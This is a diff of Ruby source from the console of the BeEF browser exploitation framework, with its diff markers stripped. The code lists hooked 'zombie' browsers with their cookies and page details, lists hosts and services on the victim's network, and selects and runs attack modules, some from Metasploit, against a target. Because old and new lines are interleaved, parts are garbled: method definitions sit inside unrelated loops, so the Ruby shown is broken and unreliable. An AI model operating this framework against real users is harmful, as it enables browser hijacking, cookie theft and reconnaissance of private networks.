'IP',
|
||||
'Hostname',
|
||||
'Type',
|
||||
'Operating System',
|
||||
'MAC Address',
|
||||
'Last Seen'
|
||||
])
|
||||
|
||||
driver.interface.select_network_hosts['results'].each do |x|
|
||||
tbl << [x['ip'],x['hostname'],x['type'],x['os'],x['mac'],x['lastseen']]
|
||||
end
|
||||
|
||||
puts "\nNetwork Hosts:\n\n"
|
||||
puts tbl.to_s + "\n"
|
||||
|
||||
end
|
||||
|
||||
def cmd_hosts_help(*args)
|
||||
print_status("Display information about network hosts on the hooked browser's network.")
|
||||
end
|
||||
|
||||
def cmd_services(*args)
|
||||
|
||||
@@bare_opts.parse(args) {|opt, idx, val|
|
||||
case opt
|
||||
when "-h"
|
||||
cmd_services_help
|
||||
return false
|
||||
end
|
||||
}
|
||||
|
||||
configuration = BeEF::Core::Configuration.instance
|
||||
if !configuration.get("beef.extension.network.enable")
|
||||
print_error("Network extension is disabled")
|
||||
return
|
||||
end
|
||||
|
||||
tbl = Rex::Ui::Text::Table.new(
|
||||
'Columns' =>
|
||||
[
|
||||
'IP',
|
||||
'Port',
|
||||
'Protocol',
|
||||
'Type'
|
||||
])
|
||||
|
||||
driver.interface.select_network_services['results'].each do |x|
|
||||
tbl << [x['ip'],x['port'],x['proto'],x['type']]
|
||||
end
|
||||
|
||||
puts "\nNetwork Services:\n\n"
|
||||
puts tbl.to_s + "\n"
|
||||
|
||||
end
|
||||
|
||||
def cmd_services_help(*args)
|
||||
print_status("Display information about network services on the hooked browser's network.")
|
||||
end
|
||||
|
||||
def cmd_select(*args)
|
||||
@@bare_opts.parse(args) {|opt, idx, val|
|
||||
case opt
|
||||
when "-h"
|
||||
cmd_select_help
|
||||
return false
|
||||
end
|
||||
}
|
||||
|
||||
if args[0] == nil
|
||||
cmd_select_help
|
||||
return false
|
||||
end
|
||||
|
||||
modid = nil
|
||||
|
||||
if args[0] =~ /[0-9]+/
|
||||
modid = args[0]
|
||||
else
|
||||
driver.interface.getcommands.each { |x|
|
||||
x['children'].each { |y|
|
||||
if args[0].chomp == x['text'].gsub(/\s/,"_")+y['text'].gsub(/[-\(\)]/,"").gsub(/\W+/,"_")
|
||||
modid = y['id']
|
||||
def commands
|
||||
{
|
||||
'commands' => 'List available commands against this particular target',
|
||||
'info' => 'Info about the target',
|
||||
'select' => 'Prepare the command module for execution against this target',
|
||||
'hosts' => 'List identified network hosts',
|
||||
'services' => 'List identified network services'
|
||||
}
|
||||
end
|
||||
}
|
||||
}
|
||||
end
|
||||
|
||||
if modid.nil?
|
||||
print_status("Could not find command module")
|
||||
return false
|
||||
end
|
||||
|
||||
driver.interface.setcommand(modid)
|
||||
|
||||
driver.enstack_dispatcher(Command) if driver.dispatched_enstacked(Command) == false
|
||||
|
||||
if driver.interface.targetid.length > 1
|
||||
driver.update_prompt("(%bld%redMultiple%clr) ["+driver.interface.targetid.join(",")+"] / "+driver.interface.cmd['Name']+" ")
|
||||
else
|
||||
driver.update_prompt("(%bld%red"+driver.interface.targetip+"%clr) ["+driver.interface.targetid.first.to_s+"] / "+driver.interface.cmd['Name']+" ")
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
def cmd_select_help(*args)
|
||||
print_status("Select a command module to use against the current target")
|
||||
print_status(" Usage: module <id> OR <modulename>")
|
||||
end
|
||||
|
||||
def cmd_select_tabs(str,words)
|
||||
return if words.length > 1
|
||||
|
||||
if @@commands == ""
|
||||
#nothing prepopulated?
|
||||
else
|
||||
return @@commands
|
||||
def name
|
||||
'Target'
|
||||
end
|
||||
|
||||
@@bare_opts = Rex::Parser::Arguments.new(
|
||||
'-h' => [false, 'Help.']
|
||||
)
|
||||
|
||||
@@commands_opts = Rex::Parser::Arguments.new(
|
||||
'-h' => [false, 'Help.'],
|
||||
'-s' => [false, '<search term>'],
|
||||
'-r' => [false, 'List modules which have responses against them only']
|
||||
)
|
||||
|
||||
def cmd_commands(*args)
|
||||
searchstring = nil
|
||||
responly = nil
|
||||
|
||||
@@commands_opts.parse(args) do |opt, _idx, _val|
|
||||
case opt
|
||||
when '-h'
|
||||
cmd_commands_help
|
||||
return false
|
||||
when '-s'
|
||||
searchstring = args[1].downcase unless args[1].nil?
|
||||
when '-r'
|
||||
responly = true
|
||||
end
|
||||
end
|
||||
|
||||
tbl = Rex::Ui::Text::Table.new(
|
||||
'Columns' =>
|
||||
[
|
||||
'Id',
|
||||
'Command',
|
||||
'Status',
|
||||
'Execute Count'
|
||||
]
|
||||
)
|
||||
|
||||
driver.interface.getcommands.each do |folder|
|
||||
folder['children'].each do |command|
|
||||
cmdstring = folder['text'].gsub(/\s/, '_') + command['text'].gsub(/[-()]/, '').gsub(/\W+/, '_')
|
||||
|
||||
if !searchstring.nil?
|
||||
unless cmdstring.downcase.index(searchstring).nil?
|
||||
tbl << [command['id'].to_i,
|
||||
cmdstring,
|
||||
command['status'].gsub(/^Verified /, ''),
|
||||
driver.interface.getcommandresponses(command['id']).length] # TODO
|
||||
end
|
||||
elsif !responly.nil?
|
||||
if driver.interface.getcommandresponses(command['id']).length.to_i > 0
|
||||
tbl << [command['id'].to_i,
|
||||
cmdstring,
|
||||
command['status'].gsub(/^Verified /, ''),
|
||||
driver.interface.getcommandresponses(command['id']).length]
|
||||
end
|
||||
|
||||
else
|
||||
tbl << [command['id'].to_i,
|
||||
cmdstring,
|
||||
command['status'].gsub(/^Verified /, ''),
|
||||
driver.interface.getcommandresponses(command['id']).length] # TODO
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
puts "\n"
|
||||
puts "List command modules for this target\n"
|
||||
puts tbl.to_s + "\n"
|
||||
end
|
||||
|
||||
def cmd_commands_help(*_args)
|
||||
print_status('List command modules for this target')
|
||||
print_line('Usage: commands [options]')
|
||||
print_line
|
||||
print @@commands_opts.usage
|
||||
end
|
||||
|
||||
def cmd_info(*args)
|
||||
@@bare_opts.parse(args) do |opt, _idx, _val|
|
||||
case opt
|
||||
when '-h'
|
||||
cmd_info_help
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
tbl = Rex::Ui::Text::Table.new(
|
||||
'Columns' =>
|
||||
%w[
|
||||
Param
|
||||
Value
|
||||
]
|
||||
)
|
||||
|
||||
driver.interface.select_zombie_summary['results'].each do |x|
|
||||
x['data'].each do |k, v|
|
||||
tbl << [k, v]
|
||||
end
|
||||
end
|
||||
|
||||
puts "\nHooked Browser Info:\n"
|
||||
puts tbl.to_s + "\n"
|
||||
end
|
||||
|
||||
def cmd_info_help(*_args)
|
||||
print_status('Display initialisation information about the hooked browser.')
|
||||
end
|
||||
|
||||
def cmd_hosts(*args)
|
||||
@@bare_opts.parse(args) do |opt, _idx, _val|
|
||||
case opt
|
||||
when '-h'
|
||||
cmd_hosts_help
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
configuration = BeEF::Core::Configuration.instance
|
||||
unless configuration.get('beef.extension.network.enable')
|
||||
print_error('Network extension is disabled')
|
||||
return
|
||||
end
|
||||
|
||||
tbl = Rex::Ui::Text::Table.new(
|
||||
'Columns' =>
|
||||
[
|
||||
'IP',
|
||||
'Hostname',
|
||||
'Type',
|
||||
'Operating System',
|
||||
'MAC Address',
|
||||
'Last Seen'
|
||||
]
|
||||
)
|
||||
|
||||
driver.interface.select_network_hosts['results'].each do |x|
|
||||
tbl << [x['ip'], x['hostname'], x['type'], x['os'], x['mac'], x['lastseen']]
|
||||
end
|
||||
|
||||
puts "\nNetwork Hosts:\n\n"
|
||||
puts tbl.to_s + "\n"
|
||||
end
|
||||
|
||||
def cmd_hosts_help(*_args)
|
||||
print_status("Display information about network hosts on the hooked browser's network.")
|
||||
end
|
||||
|
||||
def cmd_services(*args)
|
||||
@@bare_opts.parse(args) do |opt, _idx, _val|
|
||||
case opt
|
||||
when '-h'
|
||||
cmd_services_help
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
configuration = BeEF::Core::Configuration.instance
|
||||
unless configuration.get('beef.extension.network.enable')
|
||||
print_error('Network extension is disabled')
|
||||
return
|
||||
end
|
||||
|
||||
tbl = Rex::Ui::Text::Table.new(
|
||||
'Columns' =>
|
||||
%w[
|
||||
IP
|
||||
Port
|
||||
Protocol
|
||||
Type
|
||||
]
|
||||
)
|
||||
|
||||
driver.interface.select_network_services['results'].each do |x|
|
||||
tbl << [x['ip'], x['port'], x['proto'], x['type']]
|
||||
end
|
||||
|
||||
puts "\nNetwork Services:\n\n"
|
||||
puts tbl.to_s + "\n"
|
||||
end
|
||||
|
||||
def cmd_services_help(*_args)
|
||||
print_status("Display information about network services on the hooked browser's network.")
|
||||
end
|
||||
|
||||
def cmd_select(*args)
|
||||
@@bare_opts.parse(args) do |opt, _idx, _val|
|
||||
case opt
|
||||
when '-h'
|
||||
cmd_select_help
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
if args[0].nil?
|
||||
cmd_select_help
|
||||
return false
|
||||
end
|
||||
|
||||
modid = nil
|
||||
|
||||
if args[0] =~ /[0-9]+/
|
||||
modid = args[0]
|
||||
else
|
||||
driver.interface.getcommands.each do |x|
|
||||
x['children'].each do |y|
|
||||
modid = y['id'] if args[0].chomp == x['text'].gsub(/\s/, '_') + y['text'].gsub(/[-()]/, '').gsub(/\W+/, '_')
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
if modid.nil?
|
||||
print_status('Could not find command module')
|
||||
return false
|
||||
end
|
||||
|
||||
driver.interface.setcommand(modid)
|
||||
|
||||
driver.enstack_dispatcher(Command) if driver.dispatched_enstacked(Command) == false
|
||||
|
||||
if driver.interface.targetid.length > 1
|
||||
driver.update_prompt('(%bld%redMultiple%clr) [' + driver.interface.targetid.join(',') + '] / ' + driver.interface.cmd['Name'] + ' ')
|
||||
else
|
||||
driver.update_prompt('(%bld%red' + driver.interface.targetip + '%clr) [' + driver.interface.targetid.first.to_s + '] / ' + driver.interface.cmd['Name'] + ' ')
|
||||
end
|
||||
end
|
||||
|
||||
def cmd_select_help(*_args)
|
||||
print_status('Select a command module to use against the current target')
|
||||
print_status(' Usage: module <id> OR <modulename>')
|
||||
end
|
||||
|
||||
def cmd_select_tabs(_str, words)
|
||||
return if words.length > 1
|
||||
|
||||
if @@commands == ''
|
||||
# nothing prepopulated?
|
||||
else
|
||||
@@commands
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end end end end
|
||||
|
||||
@@ -4,450 +4,429 @@
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
module BeEF
|
||||
module Extension
|
||||
module Console
|
||||
module Extension
|
||||
module Console
|
||||
class ShellInterface
|
||||
BD = BeEF::Core::Models::BrowserDetails
|
||||
|
||||
class ShellInterface
|
||||
|
||||
BD = BeEF::Core::Models::BrowserDetails
|
||||
|
||||
def initialize(config)
|
||||
self.config = config
|
||||
self.cmd = {}
|
||||
end
|
||||
|
||||
def settarget(id)
|
||||
begin
|
||||
self.targetsession = BeEF::Core::Models::HookedBrowser.find(id).session
|
||||
self.targetip = BeEF::Core::Models::HookedBrowser.find(id).ip
|
||||
self.targetid = id
|
||||
rescue
|
||||
return nil
|
||||
end
|
||||
end
|
||||
|
||||
def setofflinetarget(id)
|
||||
begin
|
||||
self.targetsession = BeEF::Core::Models::HookedBrowser.find(id).session
|
||||
self.targetip = "(OFFLINE) " + BeEF::Core::Models::HookedBrowser.find(id).ip
|
||||
self.targetid = id
|
||||
rescue
|
||||
return nil
|
||||
end
|
||||
end
|
||||
|
||||
def cleartarget
|
||||
self.targetsession = nil
|
||||
self.targetip = nil
|
||||
self.targetid = nil
|
||||
self.cmd = {}
|
||||
end
|
||||
|
||||
# @note Get commands. This is a *modified* replica of select_command_modules_tree from extensions/admin_ui/controllers/modules/modules.rb
|
||||
def getcommands
|
||||
|
||||
return if self.targetid.nil?
|
||||
|
||||
tree = []
|
||||
BeEF::Modules.get_categories.each { |c|
|
||||
if c[-1,1] != "/"
|
||||
c.concat("/")
|
||||
end
|
||||
tree.push({
|
||||
'text' => c,
|
||||
'cls' => 'folder',
|
||||
'children' => []
|
||||
})
|
||||
}
|
||||
|
||||
BeEF::Modules.get_enabled.each{|k, mod|
|
||||
|
||||
flatcategory = ""
|
||||
if mod['category'].kind_of?(Array)
|
||||
# Therefore this module has nested categories (sub-folders), munge them together into a string with '/' characters, like a folder.
|
||||
mod['category'].each {|cat|
|
||||
flatcategory << cat + "/"
|
||||
}
|
||||
else
|
||||
flatcategory = mod['category']
|
||||
if flatcategory[-1,1] != "/"
|
||||
flatcategory.concat("/")
|
||||
end
|
||||
end
|
||||
|
||||
update_command_module_tree(tree, flatcategory, get_command_module_status(k), mod['name'],mod['db']['id'])
|
||||
}
|
||||
|
||||
# if dynamic modules are found in the DB, then we don't have yaml config for them
|
||||
# and loading must proceed in a different way.
|
||||
dynamic_modules = BeEF::Core::Models::CommandModule.where('path LIKE ?', 'Dynamic/')
|
||||
|
||||
if(dynamic_modules != nil)
|
||||
all_modules = BeEF::Core::Models::CommandModule.all.order(:id)
|
||||
all_modules.each{|dyn_mod|
|
||||
next if !dyn_mod.path.split('/').first.match(/^Dynamic/)
|
||||
|
||||
dyn_mod_name = dyn_mod.path.split('/').last
|
||||
dyn_mod_category = nil
|
||||
if(dyn_mod_name == "Msf")
|
||||
dyn_mod_category = "Metasploit"
|
||||
else
|
||||
# future dynamic modules...
|
||||
def initialize(config)
|
||||
self.config = config
|
||||
self.cmd = {}
|
||||
end
|
||||
|
||||
#print_debug ("Loading Dynamic command module: category [#{dyn_mod_category}] - name [#{dyn_mod.name.to_s}]")
|
||||
command_mod = BeEF::Modules::Commands.const_get(dyn_mod_name.capitalize).new
|
||||
command_mod.session_id = hook_session_id
|
||||
command_mod.update_info(dyn_mod.id)
|
||||
command_mod_name = command_mod.info['Name'].downcase
|
||||
|
||||
update_command_module_tree(tree, dyn_mod_category, "Verified Unknown", command_mod_name,dyn_mod.id)
|
||||
}
|
||||
end
|
||||
|
||||
# sort the parent array nodes
|
||||
tree.sort! {|a,b| a['text'] <=> b['text']}
|
||||
|
||||
# sort the children nodes by status
|
||||
tree.each {|x| x['children'] =
|
||||
x['children'].sort_by {|a| a['status']}
|
||||
}
|
||||
|
||||
# append the number of command modules so the branch name results in: "<category name> (num)"
|
||||
#tree.each {|command_module_branch|
|
||||
# num_of_command_modules = command_module_branch['children'].length
|
||||
# command_module_branch['text'] = command_module_branch['text'] + " (" + num_of_command_modules.to_s() + ")"
|
||||
#}
|
||||
|
||||
# return a JSON array of hashes
|
||||
tree
|
||||
end
|
||||
|
||||
def setcommand(id)
|
||||
key = BeEF::Module.get_key_by_database_id(id.to_i)
|
||||
|
||||
self.cmd['id'] = id
|
||||
self.cmd['Name'] = self.config.get("beef.module.#{key}.name")
|
||||
self.cmd['Description'] = self.config.get("beef.module.#{key}.description")
|
||||
self.cmd['Category'] = self.config.get("beef.module.#{key}.category")
|
||||
self.cmd['Data'] = BeEF::Module.get_options(key)
|
||||
end
|
||||
|
||||
def clearcommand
|
||||
self.cmd = {}
|
||||
end
|
||||
|
||||
def setparam(param,value)
|
||||
self.cmd['Data'].each do |data|
|
||||
if data['name'] == param
|
||||
data['value'] = value
|
||||
return
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def getcommandresponses(cmdid = self.cmd['id'])
|
||||
|
||||
commands = []
|
||||
i = 0
|
||||
|
||||
BeEF::Core::Models::Command.where(:command_module_id => cmdid, :hooked_browser_id => self.targetid).each do |command|
|
||||
commands.push({
|
||||
'id' => i,
|
||||
'object_id' => command.id,
|
||||
'creationdate' => Time.at(command.creationdate.to_i).strftime("%Y-%m-%d %H:%M").to_s,
|
||||
'label' => command.label
|
||||
})
|
||||
i+=1
|
||||
end
|
||||
|
||||
commands
|
||||
end
|
||||
|
||||
def getindividualresponse(cmdid)
|
||||
results = []
|
||||
begin
|
||||
BeEF::Core::Models::Result.where(:command_id => cmdid).each { |result|
|
||||
results.push({'date' => result.date, 'data' => JSON.parse(result.data)})
|
||||
}
|
||||
rescue
|
||||
return nil
|
||||
end
|
||||
results
|
||||
end
|
||||
|
||||
def executecommand
|
||||
definition = {}
|
||||
options = {}
|
||||
options.store("zombie_session", self.targetsession.to_s)
|
||||
options.store("command_module_id", self.cmd['id'])
|
||||
|
||||
if not self.cmd['Data'].nil?
|
||||
self.cmd['Data'].each do |key|
|
||||
options.store("txt_"+key['name'].to_s,key['value'])
|
||||
end
|
||||
end
|
||||
|
||||
options.keys.each {|param|
|
||||
definition[param[4..-1]] = options[param]
|
||||
oc = BeEF::Core::Models::OptionCache.first_or_create(:name => param[4..-1])
|
||||
oc.value = options[param]
|
||||
oc.save
|
||||
}
|
||||
|
||||
mod_key = BeEF::Module.get_key_by_database_id(self.cmd['id'])
|
||||
# Hack to rework the old option system into the new option system
|
||||
def2 = []
|
||||
definition.each{|k,v|
|
||||
def2.push({'name' => k, 'value' => v})
|
||||
}
|
||||
# End hack
|
||||
if BeEF::Module.execute(mod_key, self.targetsession.to_s, def2) != nil
|
||||
return true
|
||||
else
|
||||
return false
|
||||
end
|
||||
|
||||
#Old method
|
||||
#begin
|
||||
# BeEF::Core::Models::Command.new( :data => definition.to_json,
|
||||
# :hooked_browser_id => self.targetid,
|
||||
# :command_module_id => self.cmd['id'],
|
||||
# :creationdate => Time.new.to_i
|
||||
# ).save
|
||||
#rescue
|
||||
# return false
|
||||
#end
|
||||
|
||||
#return true
|
||||
end
|
||||
|
||||
def update_command_module_tree(tree, cmd_category, cmd_status, cmd_name, cmd_id)
|
||||
|
||||
# construct leaf node for the command module tree
|
||||
leaf_node = {
|
||||
'text' => cmd_name,
|
||||
'leaf' => true,
|
||||
'status' => cmd_status,
|
||||
'id' => cmd_id
|
||||
}
|
||||
|
||||
# add the node to the branch in the command module tree
|
||||
tree.each {|x|
|
||||
if x['text'].eql? cmd_category
|
||||
x['children'].push( leaf_node )
|
||||
break
|
||||
def settarget(id)
|
||||
self.targetsession = BeEF::Core::Models::HookedBrowser.find(id).session
|
||||
self.targetip = BeEF::Core::Models::HookedBrowser.find(id).ip
|
||||
self.targetid = id
|
||||
rescue StandardError
|
||||
nil
|
||||
end
|
||||
}
|
||||
end
|
||||
|
||||
def get_command_module_status(mod)
|
||||
hook_session_id = self.targetsession
|
||||
if hook_session_id == nil
|
||||
return "Verified Unknown"
|
||||
end
|
||||
case BeEF::Module.support(mod, {
|
||||
'browser' => BD.get(hook_session_id, 'BrowserName'),
|
||||
'ver' => BD.get(hook_session_id, 'BrowserVersion'),
|
||||
'os' => [BD.get(hook_session_id, 'OsName')]})
|
||||
def setofflinetarget(id)
|
||||
self.targetsession = BeEF::Core::Models::HookedBrowser.find(id).session
|
||||
self.targetip = '(OFFLINE) ' + BeEF::Core::Models::HookedBrowser.find(id).ip
|
||||
self.targetid = id
|
||||
rescue StandardError
|
||||
nil
|
||||
end
|
||||
|
||||
when BeEF::Core::Constants::CommandModule::VERIFIED_NOT_WORKING
|
||||
return "Verified Not Working"
|
||||
when BeEF::Core::Constants::CommandModule::VERIFIED_USER_NOTIFY
|
||||
return "Verified User Notify"
|
||||
when BeEF::Core::Constants::CommandModule::VERIFIED_WORKING
|
||||
return "Verified Working"
|
||||
when BeEF::Core::Constants::CommandModule::VERIFIED_UNKNOWN
|
||||
return "Verified Unknown"
|
||||
else
|
||||
return "Verified Unknown"
|
||||
end
|
||||
end
|
||||
def cleartarget
|
||||
self.targetsession = nil
|
||||
self.targetip = nil
|
||||
self.targetid = nil
|
||||
self.cmd = {}
|
||||
end
|
||||
|
||||
# @note Returns a JSON array containing the summary for a selected zombie.
|
||||
# Yoinked from the UI panel -
|
||||
# we really need to centralise all this stuff and encapsulate it away.
|
||||
def select_zombie_summary
|
||||
# @note Get commands. This is a *modified* replica of select_command_modules_tree from extensions/admin_ui/controllers/modules/modules.rb
|
||||
def getcommands
|
||||
return if targetid.nil?
|
||||
|
||||
return if self.targetsession.nil?
|
||||
tree = []
|
||||
BeEF::Modules.get_categories.each do |c|
|
||||
c.concat('/') if c[-1, 1] != '/'
|
||||
tree.push({
|
||||
'text' => c,
|
||||
'cls' => 'folder',
|
||||
'children' => []
|
||||
})
|
||||
end
|
||||
|
||||
# init the summary grid
|
||||
summary_grid_hash = {
|
||||
'success' => 'true',
|
||||
'results' => []
|
||||
}
|
||||
BeEF::Modules.get_enabled.each do |k, mod|
|
||||
flatcategory = ''
|
||||
if mod['category'].is_a?(Array)
|
||||
# Therefore this module has nested categories (sub-folders), munge them together into a string with '/' characters, like a folder.
|
||||
mod['category'].each do |cat|
|
||||
flatcategory << (cat + '/')
|
||||
end
|
||||
else
|
||||
flatcategory = mod['category']
|
||||
flatcategory.concat('/') if flatcategory[-1, 1] != '/'
|
||||
end
|
||||
|
||||
# zombie properties
|
||||
# in the form of: category, UI label, value
|
||||
zombie_properties = [
|
||||
update_command_module_tree(tree, flatcategory, get_command_module_status(k), mod['name'], mod['db']['id'])
|
||||
end
|
||||
|
||||
# Browser
|
||||
['Browser', 'Browser Name', 'BrowserName'],
|
||||
['Browser', 'Browser Version', 'BrowserVersion'],
|
||||
['Browser', 'Browser UA String', 'BrowserReportedName'],
|
||||
['Browser', 'Browser Language', 'BrowserLanguage'],
|
||||
['Browser', 'Browser Platform', 'BrowserPlatform'],
|
||||
['Browser', 'Browser Plugins', 'BrowserPlugins'],
|
||||
['Browser', 'Window Size', 'WindowSize'],
|
||||
# if dynamic modules are found in the DB, then we don't have yaml config for them
|
||||
# and loading must proceed in a different way.
|
||||
dynamic_modules = BeEF::Core::Models::CommandModule.where('path LIKE ?', 'Dynamic/')
|
||||
|
||||
# Browser Components
|
||||
['Browser Components', 'Flash', 'HasFlash'],
|
||||
['Browser Components', 'Java', 'JavaEnabled'],
|
||||
['Browser Components', 'VBScript', 'VBScriptEnabled'],
|
||||
['Browser Components', 'PhoneGap', 'HasPhonegap'],
|
||||
['Browser Components', 'Google Gears', 'HasGoogleGears'],
|
||||
['Browser Components', 'Web Sockets', 'HasWebSocket'],
|
||||
['Browser Components', 'QuickTime', 'HasQuickTime'],
|
||||
['Browser Components', 'RealPlayer', 'HasRealPlayer'],
|
||||
['Browser Components', 'Windows Media Player','HasWMP'],
|
||||
['Browser Components', 'VLC', 'HasVLC'],
|
||||
['Browser Components', 'WebRTC', 'HasWebRTC'],
|
||||
['Browser Components', 'ActiveX', 'HasActiveX'],
|
||||
['Browser Components', 'Session Cookies', 'hasSessionCookies'],
|
||||
['Browser Components', 'Persistent Cookies', 'hasPersistentCookies'],
|
||||
unless dynamic_modules.nil?
|
||||
all_modules = BeEF::Core::Models::CommandModule.all.order(:id)
|
||||
all_modules.each do |dyn_mod|
|
||||
next unless dyn_mod.path.split('/').first.match(/^Dynamic/)
|
||||
|
||||
# Hooked Page
|
||||
['Hooked Page', 'Page Title', 'PageTitle'],
|
||||
['Hooked Page', 'Page URI', 'PageURI'],
|
||||
['Hooked Page', 'Page Referrer', 'PageReferrer'],
|
||||
['Hooked Page', 'Hook Host', 'HostName'],
|
||||
['Hooked Page', 'Cookies', 'Cookies'],
|
||||
dyn_mod_name = dyn_mod.path.split('/').last
|
||||
dyn_mod_category = nil
|
||||
if dyn_mod_name == 'Msf'
|
||||
dyn_mod_category = 'Metasploit'
|
||||
else
|
||||
# future dynamic modules...
|
||||
end
|
||||
|
||||
# Host
|
||||
['Host', 'Date', 'DateStamp'],
|
||||
['Host', 'Operating System', 'OsName'],
|
||||
['Host', 'Hardware', 'Hardware'],
|
||||
['Host', 'CPU', 'CPU'],
|
||||
['Host', 'Default Browser', 'DefaultBrowser'],
|
||||
['Host', 'Screen Size', 'ScreenSize'],
|
||||
['Host', 'Touch Screen', 'TouchEnabled']
|
||||
]
|
||||
# print_debug ("Loading Dynamic command module: category [#{dyn_mod_category}] - name [#{dyn_mod.name.to_s}]")
|
||||
command_mod = BeEF::Modules::Commands.const_get(dyn_mod_name.capitalize).new
|
||||
command_mod.session_id = hook_session_id
|
||||
command_mod.update_info(dyn_mod.id)
|
||||
command_mod_name = command_mod.info['Name'].downcase
|
||||
|
||||
# set and add the return values for each browser property
|
||||
# in the form of: category, UI label, value
|
||||
zombie_properties.each do |p|
|
||||
update_command_module_tree(tree, dyn_mod_category, 'Verified Unknown', command_mod_name, dyn_mod.id)
|
||||
end
|
||||
end
|
||||
|
||||
case p[2]
|
||||
when "BrowserName"
|
||||
data = BeEF::Core::Constants::Browsers.friendly_name(BD.get(self.targetsession.to_s, p[2])).to_s
|
||||
# sort the parent array nodes
|
||||
tree.sort! { |a, b| a['text'] <=> b['text'] }
|
||||
|
||||
when "ScreenSize"
|
||||
screen_size_hash = JSON.parse(BD.get(self.targetsession.to_s, p[2]).gsub(/\"\=\>/, '":')) # tidy up the string for JSON
|
||||
width = screen_size_hash['width']
|
||||
height = screen_size_hash['height']
|
||||
cdepth = screen_size_hash['colordepth']
|
||||
data = "Width: #{width}, Height: #{height}, Colour Depth: #{cdepth}"
|
||||
# sort the children nodes by status
|
||||
tree.each do |x|
|
||||
x['children'] =
|
||||
x['children'].sort_by { |a| a['status'] }
|
||||
end
|
||||
|
||||
when "WindowSize"
|
||||
window_size_hash = JSON.parse(BD.get(self.targetsession.to_s, p[2]).gsub(/\"\=\>/, '":')) # tidy up the string for JSON
|
||||
width = window_size_hash['width']
|
||||
height = window_size_hash['height']
|
||||
data = "Width: #{width}, Height: #{height}"
|
||||
else
|
||||
data = BD.get(self.targetsession, p[2])
|
||||
end
|
||||
# append the number of command modules so the branch name results in: "<category name> (num)"
|
||||
# tree.each {|command_module_branch|
|
||||
# num_of_command_modules = command_module_branch['children'].length
|
||||
# command_module_branch['text'] = command_module_branch['text'] + " (" + num_of_command_modules.to_s() + ")"
|
||||
# }
|
||||
|
||||
# add property to summary hash
|
||||
if not data.nil?
|
||||
summary_grid_hash['results'].push({
|
||||
'category' => p[0],
|
||||
'data' => { p[1] => CGI.escapeHTML("#{data}") },
|
||||
'from' => 'Initialization'
|
||||
})
|
||||
end
|
||||
# return a JSON array of hashes
|
||||
tree
|
||||
end
|
||||
|
||||
end
|
||||
def setcommand(id)
|
||||
key = BeEF::Module.get_key_by_database_id(id.to_i)
|
||||
|
||||
summary_grid_hash
|
||||
end
|
||||
cmd['id'] = id
|
||||
cmd['Name'] = config.get("beef.module.#{key}.name")
|
||||
cmd['Description'] = config.get("beef.module.#{key}.description")
|
||||
cmd['Category'] = config.get("beef.module.#{key}.category")
|
||||
cmd['Data'] = BeEF::Module.get_options(key)
|
||||
end
|
||||
|
||||
def select_network_hosts
|
||||
def clearcommand
|
||||
self.cmd = {}
|
||||
end
|
||||
|
||||
return if self.targetsession.nil?
|
||||
def setparam(param, value)
|
||||
cmd['Data'].each do |data|
|
||||
if data['name'] == param
|
||||
data['value'] = value
|
||||
return
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
configuration = BeEF::Core::Configuration.instance
|
||||
if !configuration.get("beef.extension.network.enable")
|
||||
print_error("Network extension is disabled")
|
||||
return {
|
||||
'success' => 'false',
|
||||
'results' => []
|
||||
}
|
||||
end
|
||||
def getcommandresponses(cmdid = cmd['id'])
|
||||
commands = []
|
||||
i = 0
|
||||
|
||||
# init the summary grid
|
||||
summary_grid_hash = {
|
||||
'success' => 'true',
|
||||
'results' => []
|
||||
}
|
||||
@nh = BeEF::Core::Models::NetworkHost
|
||||
hosts = @nh.where(:hooked_browser_id => self.targetsession)
|
||||
BeEF::Core::Models::Command.where(command_module_id: cmdid, hooked_browser_id: targetid).each do |command|
|
||||
commands.push({
|
||||
'id' => i,
|
||||
'object_id' => command.id,
|
||||
'creationdate' => Time.at(command.creationdate.to_i).strftime('%Y-%m-%d %H:%M').to_s,
|
||||
'label' => command.label
|
||||
})
|
||||
i += 1
|
||||
end
|
||||
|
||||
# add property to summary hash
|
||||
if not hosts.empty?
|
||||
hosts.each do |x|
|
||||
summary_grid_hash['results'].push({
|
||||
'ip' => x['ip'].to_s,
|
||||
'hostname' => x['hostname'].to_s,
|
||||
'type' => x['type'].to_s,
|
||||
'os' => x['os'].to_s,
|
||||
'mac' => x['mac'].to_s,
|
||||
'lastseen' => x['lastseen'].to_s
|
||||
})
|
||||
commands
|
||||
end
|
||||
|
||||
def getindividualresponse(cmdid)
|
||||
results = []
|
||||
begin
|
||||
BeEF::Core::Models::Result.where(command_id: cmdid).each do |result|
|
||||
results.push({ 'date' => result.date, 'data' => JSON.parse(result.data) })
|
||||
end
|
||||
rescue StandardError
|
||||
return nil
|
||||
end
|
||||
results
|
||||
end
|
||||
|
||||
def executecommand
|
||||
definition = {}
|
||||
options = {}
|
||||
options.store('zombie_session', targetsession.to_s)
|
||||
options.store('command_module_id', cmd['id'])
|
||||
|
||||
unless cmd['Data'].nil?
|
||||
cmd['Data'].each do |key|
|
||||
options.store('txt_' + key['name'].to_s, key['value'])
|
||||
end
|
||||
end
|
||||
|
||||
options.keys.each do |param|
|
||||
definition[param[4..-1]] = options[param]
|
||||
oc = BeEF::Core::Models::OptionCache.first_or_create(name: param[4..-1])
|
||||
oc.value = options[param]
|
||||
oc.save
|
||||
end
|
||||
|
||||
mod_key = BeEF::Module.get_key_by_database_id(cmd['id'])
|
||||
# Hack to rework the old option system into the new option system
|
||||
def2 = []
|
||||
definition.each do |k, v|
|
||||
def2.push({ 'name' => k, 'value' => v })
|
||||
end
|
||||
# End hack
|
||||
if BeEF::Module.execute(mod_key, targetsession.to_s, def2).nil?
|
||||
false
|
||||
else
|
||||
true
|
||||
end
|
||||
|
||||
# Old method
|
||||
# begin
|
||||
# BeEF::Core::Models::Command.new( :data => definition.to_json,
|
||||
# :hooked_browser_id => self.targetid,
|
||||
# :command_module_id => self.cmd['id'],
|
||||
